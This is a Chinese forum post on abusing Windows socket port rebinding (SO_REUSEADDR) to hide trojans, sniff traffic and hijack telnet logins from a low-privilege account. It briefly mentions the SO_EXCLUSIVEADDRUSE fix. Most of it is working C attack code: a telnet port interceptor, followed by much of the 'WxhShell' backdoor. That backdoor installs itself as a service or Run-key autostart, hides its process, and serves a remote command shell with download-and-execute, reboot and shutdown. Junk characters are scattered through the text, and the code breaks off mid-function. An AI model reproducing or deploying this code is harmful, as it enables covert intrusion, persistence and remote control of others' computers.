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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7 Y>`-\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2ZG1n#  
_|  
  saddr.sin_family = AF_INET; -+=:+LhSMb  
,;iBeqr5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @fH&(@  
]( =wlq)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qm}>J^hnB#  
s >VEuLY*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <VaMUm<2  
%|(?!w7  
  这意味着什么?意味着可以进行如下的攻击: C9F+e  
IbJ[Og^Qyu  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  4SffP/  
loUl$X.u  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fEw=I7{Y  
y /:T(tk$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $C05iD  
d$_q=ywc  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  pP0Vg'V  
uB <F.!3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {y:#'n  
Xs>s|_T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @\T;PTD-  
3Q$'qZw p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 hygnC`|  
!-5S8b  
  #include ^5 ^}MB%  
  #include Y <Znv%M  
  #include 5M Wvu,'%8  
  #include    1n`1o-&l-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \5[D7}  
  int main() 3IK(f .  
  { %7]XW2u  
  WORD wVersionRequested; U$A7EFK'  
  DWORD ret; |#&V:GZp  
  WSADATA wsaData; 27a* H1iQ  
  BOOL val; 7/|F9fF@M  
  SOCKADDR_IN saddr; [t.%&#baF  
  SOCKADDR_IN scaddr; *F szGn<  
  int err; v<%kd[N  
  SOCKET s; ^'7C0ps+A  
  SOCKET sc; \+{t4Im  
  int caddsize; +qdIj] v  
  HANDLE mt; t[?a @S~6  
  DWORD tid;   dm2CA0   
  wVersionRequested = MAKEWORD( 2, 2 ); 3u4*ofjE5  
  err = WSAStartup( wVersionRequested, &wsaData ); :6W^ S/pf  
  if ( err != 0 ) { $Pd|6  
  printf("error!WSAStartup failed!\n"); EDHg'q  
  return -1; F:;!) H*  
  } !eR-Kor  
  saddr.sin_family = AF_INET; g%\$ !b  
   `8Jq~u6_Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e?!L}^f6X  
w#xeua|*I#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); x[vBK8  
  saddr.sin_port = htons(23); ~ThVap[*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Zlk,])9Q  
  { zkh hN"bX  
  printf("error!socket failed!\n"); U=kx`j>  
  return -1; ^`rpf\GX(  
  } \TbsoWX  
  val = TRUE; `*NO_ K  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hV-V eKjZ(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~!ZmF(:  
  { P{S\pWZkk  
  printf("error!setsockopt failed!\n"); K$GRJ  
  return -1; ^qeY9O  
  } ?GO SeV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j2 }  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 j,C,5l=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j0iAU1~_VX  
|DE%SVZB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :xFu_%7  
  { hIuMHq7h  
  ret=GetLastError(); oTCzYY  
  printf("error!bind failed!\n"); `/O`OrZ1K  
  return -1; Tm)GC_  
  } WR/o @$/  
  listen(s,2); T- |9o|~z  
  while(1) gB>imr#e&  
  { MzQ\rg_B7  
  caddsize = sizeof(scaddr); pb^,Qvnp   
  //接受连接请求 UvxSMD:A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V1SqX:;b&  
  if(sc!=INVALID_SOCKET) N0Efw$u  
  { Vi|7%!j<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y?pD(u  
  if(mt==NULL) M18qa,fK{  
  { +Edzjf~Tt  
  printf("Thread Creat Failed!\n"); 9u,8q:I.?  
  break; G'f9N^w  
  } <4bz/^  
  } j8GY`f#  
  CloseHandle(mt); <S1??  
  } -<qxO  
  closesocket(s); :dP~.ZY7  
  WSACleanup(); {O^TurbTFA  
  return 0; l{Jt sI  
  }   t;8\fIW5  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8Q2]*%  
  { T><{ze  
  SOCKET ss = (SOCKET)lpParam; 5@P%iBA4(3  
  SOCKET sc; jn-QKdqM  
  unsigned char buf[4096]; d^F|lc ]8  
  SOCKADDR_IN saddr; J["H[T*  
  long num; 0"EoC  
  DWORD val; "S5S|dBc  
  DWORD ret; g(aZT#ii=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4YszVT-MU~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   01udlW.  
  saddr.sin_family = AF_INET; bfgz1 `u  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ao#!7F  
  saddr.sin_port = htons(23); OAv>g pw  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `SV"ElRV  
  { c juZB Fl  
  printf("error!socket failed!\n"); /X4yB"J>  
  return -1; zfhTc=(/  
  } .K IVf8)"  
  val = 100; N.Dhu~V  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *E:x E/M!2  
  { }e<'BIM E  
  ret = GetLastError(); }N3V5cab  
  return -1; 3bC+Mco  
  } c=6ahX}d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GCT@o!  
  { t|}O.u-&;~  
  ret = GetLastError(); aG%kmS&fv  
  return -1; )kYOHS  
  } pb#mg^8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b"``D ?  
  { Nl@k*^  
  printf("error!socket connect failed!\n"); W wuZ(>|  
  closesocket(sc); $5,~JYcb  
  closesocket(ss); !tEe\K\e  
  return -1; N{8"s&  
  } v*SAI]{#~  
  while(1) `)32&\  
  { BQ#3QL't  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 AUfS-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #EbGL])F}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t<nFy  
  num = recv(ss,buf,4096,0); c-kA^z{f  
  if(num>0) e,HMwD  
  send(sc,buf,num,0); wW:7y>z)  
  else if(num==0) +$47v$p  
  break; {`% hgR  
  num = recv(sc,buf,4096,0); 5IW8=$k~.)  
  if(num>0) fXO_g  
  send(ss,buf,num,0); .NJ|p=fy  
  else if(num==0) 9R p2W  
  break; B0d%c&N${  
  } G @g h#[b  
  closesocket(ss); brh=NAzt  
  closesocket(sc); u$%A#L[  
  return 0 ; kneuV8+(5  
  } q$[n`w-  
i9rS6<V'  
A>=E{  
========================================================== ju|]Qlek  
6;o3sf@Tf  
下边附上一个代码,,WXhSHELL xRum*}|4  
!K cWH9  
========================================================== whye)w  
R(k}y,eh.`  
#include "stdafx.h" P7:d ly[,q  
=E(#YCx  
#include <stdio.h> Z) Wnow  
#include <string.h> `0bP0^w  
#include <windows.h> mN*?%t  
#include <winsock2.h> ;I}'}  
#include <winsvc.h> tx"LeZZ  
#include <urlmon.h> x)SralWb  
m:uPEpcU  
#pragma comment (lib, "Ws2_32.lib") yto[8;)_  
#pragma comment (lib, "urlmon.lib") [:h5}  
F;8*H1  
#define MAX_USER   100 // 最大客户端连接数  c 6"Ib)  
#define BUF_SOCK   200 // sock buffer ;au*V5a%  
#define KEY_BUFF   255 // 输入 buffer %'bJ:  
0*8TS7.3  
#define REBOOT     0   // 重启 6)qp*P$L  
#define SHUTDOWN   1   // 关机 rh!;|xB|+  
7" 4z+w  
#define DEF_PORT   5000 // 监听端口 -)v@jlg02  
p@~ic#X  
#define REG_LEN     16   // 注册表键长度 irbw'^;y  
#define SVC_LEN     80   // NT服务名长度 Apj;  
H4:&%"j7  
// 从dll定义API ?>$l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N\NyXh$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aJhxc<"e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kJ{+M]pW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %Jp|z? [/  
vDFGd-S  
// wxhshell配置信息 AiP!hw/V$  
struct WSCFG { / vxm"CJR  
  int ws_port;         // 监听端口 os4{0Mxu  
  char ws_passstr[REG_LEN]; // 口令 u5B:^.:p  
  int ws_autoins;       // 安装标记, 1=yes 0=no dtZE67KS  
  char ws_regname[REG_LEN]; // 注册表键名 4;<ut$G  
  char ws_svcname[REG_LEN]; // 服务名 Dnw|%6Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Fh8lmOL;?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ) 1 m">s4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (W[V? !1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DF_X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lk3=4|?zsE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !4(zp;WY^  
o]ePP,  
}; ]fBUT6  
:Y P#  
// default Wxhshell configuration d\]Yk]r  
struct WSCFG wscfg={DEF_PORT, ;Hmp f0$  
    "xuhuanlingzhe", wSEWwU[  
    1, 0hY{<^"Y  
    "Wxhshell", @WMA}\Cc  
    "Wxhshell", k*?I>%^6#T  
            "WxhShell Service", "%qzj93>  
    "Wrsky Windows CmdShell Service", mh.+."<)F  
    "Please Input Your Password: ", Ts.wh>`  
  1, 8|6 4R:  
  "http://www.wrsky.com/wxhshell.exe", $q$7^ r@  
  "Wxhshell.exe" i/H+xrCK  
    }; l{Dct\ #s  
K2{aNv R)t  
// 消息定义模块 I%j_"r9-I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l12{fpm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rV6/Tdy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gw36Ec<M  
char *msg_ws_ext="\n\rExit."; /w(e  
char *msg_ws_end="\n\rQuit."; q_kdCO{:df  
char *msg_ws_boot="\n\rReboot..."; rG}\Zjn{  
char *msg_ws_poff="\n\rShutdown..."; qIIJ4n  
char *msg_ws_down="\n\rSave to "; 8CbXMT  
F@ Swe  
char *msg_ws_err="\n\rErr!"; (wRgus  
char *msg_ws_ok="\n\rOK!"; 6$\jAd|  
.8(OT./  
char ExeFile[MAX_PATH]; qpIC{'A.  
int nUser = 0; lVOu)q@l7g  
HANDLE handles[MAX_USER]; sEMQ  
int OsIsNt; zcrY>t#l  
|`Or'%|PR  
SERVICE_STATUS       serviceStatus; J(DN !  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9KWuN:Sg  
LbEM^ D  
// 函数声明 UT0){%2@  
int Install(void); [NMVoBvG  
int Uninstall(void); a.N{-2ptH  
int DownloadFile(char *sURL, SOCKET wsh); FMA6_fju4  
int Boot(int flag); Q7Iw[=;\  
void HideProc(void); v6.t{6zYgY  
int GetOsVer(void); M?m,EQh.  
int Wxhshell(SOCKET wsl); #$1Z  
void TalkWithClient(void *cs); k:jSbbQ  
int CmdShell(SOCKET sock); I[)%,jd  
int StartFromService(void); Od f[*  
int StartWxhshell(LPSTR lpCmdLine); 7xRl9  
HY)-/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v ~QHMg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Xtt ? ]  
ZKHG!`X0  
// 数据结构和表定义 pRkP~ZISU  
SERVICE_TABLE_ENTRY DispatchTable[] = )nL`H^  
{ fU=B4V4@  
{wscfg.ws_svcname, NTServiceMain}, Mmpfto%i  
{NULL, NULL} /xtq_*I1S  
}; I:K"'R^  
PB;eHy  
// 自我安装 hGpv2>M  
int Install(void) y;_% W  
{ Pj}6 6.  
  char svExeFile[MAX_PATH]; UMAgA!s  
  HKEY key; Zm6{n '  
  strcpy(svExeFile,ExeFile); zR2B- &]H  
`tP7ncky  
// 如果是win9x系统,修改注册表设为自启动 _S>JKz  
if(!OsIsNt) { lXcx@#~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o2<#s)GpY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :oJ=iB'Zc  
  RegCloseKey(key); 'Ut7{rZ5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I f\fLhM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6DH~dL_",%  
  RegCloseKey(key); "g$IP9?U  
  return 0; ^#-nE7  
    } DI+fwXeg  
  } x)(|[  
} ep)>X@t  
else { bv&;R  
n2iJ%_zp  
// 如果是NT以上系统,安装为系统服务 ty8v 6J#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ")d`dj\o  
if (schSCManager!=0) X5 j1`t,  
{ Djg,Lvhm  
  SC_HANDLE schService = CreateService Na:w]r:y  
  ( Q~Hy%M%R3  
  schSCManager, tQS5hwm*  
  wscfg.ws_svcname, @Y1s$,=xB  
  wscfg.ws_svcdisp, EK4d_L]I  
  SERVICE_ALL_ACCESS, sBcPq SMby  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h*-Pr8  
  SERVICE_AUTO_START, z CvKDlL  
  SERVICE_ERROR_NORMAL, PYGRsrcFd#  
  svExeFile, )jt #=9ZQ  
  NULL, A!h`]%0B  
  NULL, 4O35 "1  
  NULL, ZMel{w`n  
  NULL, x QIq^/F0  
  NULL @)fd}tV  
  ); 2 B  
  if (schService!=0) p6;OL@ \~  
  { ,^C--tgZJg  
  CloseServiceHandle(schService); :Of^xj>A  
  CloseServiceHandle(schSCManager); YJ\Xj56gv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /Njd[= B  
  strcat(svExeFile,wscfg.ws_svcname); g*_cP U0~m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ' ~8KSF*!p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0N $v"uX@  
  RegCloseKey(key); abyo4i5T  
  return 0; NuQdSj_>  
    } zzX_q(:S  
  } (L/_^!ZX  
  CloseServiceHandle(schSCManager); O6LS(5j2  
} "vOwd.(?N  
} %^ !,t:d  
[k/@E+;  
return 1; 5yP\I+Fm  
} ?vbvBu{a  
Z'.AAOG  
// 自我卸载 ;IZwTXu!S  
int Uninstall(void) *2,VyY  
{ T(U_  
  HKEY key; `~By)?cT_>  
5fd]v<  
if(!OsIsNt) { ~5}* d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { De'_SD|=  
  RegDeleteValue(key,wscfg.ws_regname); Zg{KFM%  
  RegCloseKey(key); ppVHLrUh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;EP:o%r  
  RegDeleteValue(key,wscfg.ws_regname); }f6HYU  
  RegCloseKey(key); oYH^_V  
  return 0; ,Ge"anO  
  } .nx2";oi  
} ` 2V19 s]  
} %5"9</a&G  
else { G$F<$  
|l]XpWV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [q8 P~l  
if (schSCManager!=0) )QU  
{ P&*2pX:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @emK1iwm  
  if (schService!=0) Ezd_`_@R  
  { D$I5z.a  
  if(DeleteService(schService)!=0) { wNpTM8rfU#  
  CloseServiceHandle(schService); Y,^@P  
  CloseServiceHandle(schSCManager); CDK 5  
  return 0; !xo{-@@wS  
  } fof TP1  
  CloseServiceHandle(schService); rrik,qyv6  
  } ] Zy5%gI  
  CloseServiceHandle(schSCManager); s;01u_  
} {#?N  
}  Ac2n  
*Doa* wQ  
return 1; LnH?dy  
} CYY=R'1:G{  
$QLcH;+7t  
// 从指定url下载文件 8 Hg+H=?  
int DownloadFile(char *sURL, SOCKET wsh) 2fn&#kw/  
{ 0=2@  
  HRESULT hr; |EX(8y  
char seps[]= "/"; TJ6*t!'*X  
char *token; A>o *t=5  
char *file; 5K>3My#  
char myURL[MAX_PATH]; ~j}cyHg  
char myFILE[MAX_PATH]; dMv=gdY  
nrub*BuA  
strcpy(myURL,sURL); 4;yKOQD|  
  token=strtok(myURL,seps); keL&b/@  
  while(token!=NULL) !>..Q)z  
  { @tNzQ8  
    file=token; R;uvkg[o  
  token=strtok(NULL,seps); FKDk+ojw  
  } FWrX3i  
hKL4cpK4  
GetCurrentDirectory(MAX_PATH,myFILE); f!Y?S  
strcat(myFILE, "\\"); 5YE'L.  
strcat(myFILE, file); DgId_\Ze  
  send(wsh,myFILE,strlen(myFILE),0); sBvzAVBL  
send(wsh,"...",3,0); ;- ~B)M_S`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tE<H|_{L  
  if(hr==S_OK) K*K,}W&}  
return 0; D#cyOrzy  
else RzE_K'M  
return 1; lb4Pcd j  
~ =M7 3U#  
} +hg3I8q:  
fg_4zUGM+g  
// 系统电源模块 .,<1%-R34q  
int Boot(int flag) J\twZ>w~0  
{ ^c"jH'#.L  
  HANDLE hToken; '3 /4?wi  
  TOKEN_PRIVILEGES tkp; vdivq^%=a  
{6|38$Rl  
  if(OsIsNt) { Y!-M_v/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 46_xyz3+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _.tVSV p  
    tkp.PrivilegeCount = 1; =_JjmTy;a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mqD}BOif  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2=,lcWr  
if(flag==REBOOT) { 5Dm.K?l;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >%}C^gu)  
  return 0; z+0I#kM"1  
} 3]}D`Qs6  
else { % ?0:vn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @vC4[:"pD}  
  return 0; `i3NG1 v0  
} DE}K~}sbd  
  } P+@/O  
  else { t<.)Z-Ii  
if(flag==REBOOT) { n{n52][J]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dk[!V1x4\  
  return 0; yj 3cyLXw  
} 5d Eh7XL  
else { SYAyk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [kVS O  
  return 0; a!6{:8Zi0  
} deBY5|  
} wN_Vfb  
MU@UfB|;u  
return 1; rK'L6o  
} EH+"~-v)ae  
gX@HO|.t  
// win9x进程隐藏模块 >?2M }TV3  
void HideProc(void) h5*JkRm  
{ 1gL2ia  
b|l:fT?&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #^u$  
  if ( hKernel != NULL ) eBZXI)pPh  
  { W#9BNKL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u_w#gjiC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2Q/x@aT,h  
    FreeLibrary(hKernel); 2e+UM$  
  } SE@LYeC}dE  
&47i"%  
return; !`Fxa4i>  
} >K_(J/&p  
[_R~%Yh+'E  
// 获取操作系统版本 ,k +IPkN+  
int GetOsVer(void) CpUk Cgg  
{ [\^ n=  
  OSVERSIONINFO winfo; h]IxXP?h[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1OGx>J6  
  GetVersionEx(&winfo); sXLq*b?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^bGNq X  
  return 1; LM:vsG  
  else BRw .]&/  
  return 0; y`<*U;xL  
} .5^cb%B*  
^n*)7K[  
// 客户端句柄模块 f%is~e~wc  
int Wxhshell(SOCKET wsl) -^&<Z 0m  
{ Zi*2nv '  
  SOCKET wsh; kvL=> A  
  struct sockaddr_in client; !j9t*2m[  
  DWORD myID; epA:v|S  
l5S aT,%  
  while(nUser<MAX_USER) )Kc<j!8-[  
{ $SlIr<'*"  
  int nSize=sizeof(client); %f&/E"M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K0u|U`   
  if(wsh==INVALID_SOCKET) return 1; t URu0`](  
5bRJS70M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G)EU_UE 9  
if(handles[nUser]==0) 8zZvht*  
  closesocket(wsh); 3@etRd;]Kr  
else \\iQEy<i  
  nUser++; &PR5q 7  
  } rN<0 R`4sE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R3 -n>V5o  
k KaE=H-x  
  return 0; Vh'P&W?[  
} F%@A6'c  
E-T)*`e  
// 关闭 socket u4t7Ie*Q  
void CloseIt(SOCKET wsh) ;,hwZZA  
{ iw3FA4{(  
closesocket(wsh); >nJ\BPx  
nUser--; F~,Mw8  
ExitThread(0); &Qf/>@ l}  
} , Rk9N  
ax"+0L {  
// 客户端请求句柄 ^=GC3%  J  
void TalkWithClient(void *cs) ui< N[  
{ |UkR'Ma  
Gt\lFQ  
  SOCKET wsh=(SOCKET)cs; a!zz6/q[  
  char pwd[SVC_LEN]; 3lf=b~Zi)  
  char cmd[KEY_BUFF]; 4X!/hI=jq  
char chr[1]; 7BE>RE=)  
int i,j; ux=w!y;}  
'j`=if  
  while (nUser < MAX_USER) { GA$V0YQX  
bg!/%[ {M  
if(wscfg.ws_passstr) { bBiE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JgxtlYjl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ${<%" hR$  
  //ZeroMemory(pwd,KEY_BUFF); 216RiSr*  
      i=0; TJ2=m 9Z  
  while(i<SVC_LEN) { {0[tNth'h  
>BV^H.SO|1  
  // 设置超时 x) ,eI'mf  
  fd_set FdRead; ]3D0R;  
  struct timeval TimeOut; }fp-pe69z  
  FD_ZERO(&FdRead); (o 5s"b  
  FD_SET(wsh,&FdRead); EuEZ D +  
  TimeOut.tv_sec=8; =rMUov h  
  TimeOut.tv_usec=0; 9e<.lb^tP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NpE*fR')  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IB(6+n,6s  
d?y4GkK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3(="YbZ  
  pwd=chr[0]; qz"}g/;?  
  if(chr[0]==0xd || chr[0]==0xa) { "H=6j)Cb  
  pwd=0; 0CWvYC%e  
  break; 6gL #C&  
  } C(eTR1  
  i++; a4m n*,  
    } JYMiLph<  
I5X|(0es  
  // 如果是非法用户,关闭 socket @bi}W`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RF`.xQ26=  
} OTvPUkp*  
(9tX5$e6N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EGGWrl}1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~IY%  
j5(Z_dm'  
while(1) { {dhXIs  
_:ReN_0  
  ZeroMemory(cmd,KEY_BUFF); -Fi`Z$  
kI,yU}<Fq  
      // 自动支持客户端 telnet标准   ])[[ V!1  
  j=0; $By< $  
  while(j<KEY_BUFF) { 8^kGS-+^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /}((l%UE.  
  cmd[j]=chr[0]; u0}vWkn\4  
  if(chr[0]==0xa || chr[0]==0xd) { ^6jV_QM#  
  cmd[j]=0; ^4y,W]JUDt  
  break; 9Uh"iMB  
  } g1;:KzVv  
  j++; zv|2:4H  
    } l^! ?@Kg,z  
5us:adm[pD  
  // 下载文件 X@--m6-  
  if(strstr(cmd,"http://")) { ^3G{|JB!+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kYM~d07 V  
  if(DownloadFile(cmd,wsh)) |O{m2Fi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 272q1~&  
  else F6LH $C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YC*"Thuu  
  } l z/8  
  else { =h-U  
t0( A4E  
    switch(cmd[0]) { ZAW^/bo<  
  9# 23FK  
  // 帮助 1Rt33\1J0  
  case '?': { dhC$W!N7!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0XOp3  
    break; -$t{>gO#Y  
  } ^gN6/>]qrY  
  // 安装 @T@< _ ?)  
  case 'i': { v>6"j1Z  
    if(Install()) JOj;^ h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0B[="rTS7#  
    else v|Pv 03%?7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bYcV$KJk  
    break; R]JT&p|w.1  
    } ,A9]CQ  
  // 卸载 %{7|1>8  
  case 'r': { >d(~# Z`  
    if(Uninstall()) EW}Bzh>b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ##q2mm:a9P  
    else zU,9T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Lfqdqj  
    break; SDC4L <!  
    } R1s`z|?  
  // 显示 wxhshell 所在路径 AKY1o.>z  
  case 'p': { Mhm@R@  
    char svExeFile[MAX_PATH]; w{{gu1#]G  
    strcpy(svExeFile,"\n\r"); .nO\kgoK  
      strcat(svExeFile,ExeFile); d}Xr}  
        send(wsh,svExeFile,strlen(svExeFile),0); fIM,lt  
    break; )n1_(;  
    } /~DI 6g  
  // 重启 7( #:GD  
  case 'b': { ^Xz@`_I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /hpY f]t  
    if(Boot(REBOOT)) c|f<u{'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l\f*d6o  
    else { J; S (>c  
    closesocket(wsh); y3vdUauOn  
    ExitThread(0); dR K?~1  
    } bes<qy  
    break; 4M^= nae  
    } oxr#7Ei0d  
  // 关机 yyR0]NzYUD  
  case 'd': { I.I`6(Cb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )i6mzzj5  
    if(Boot(SHUTDOWN)) &`h{i K7  
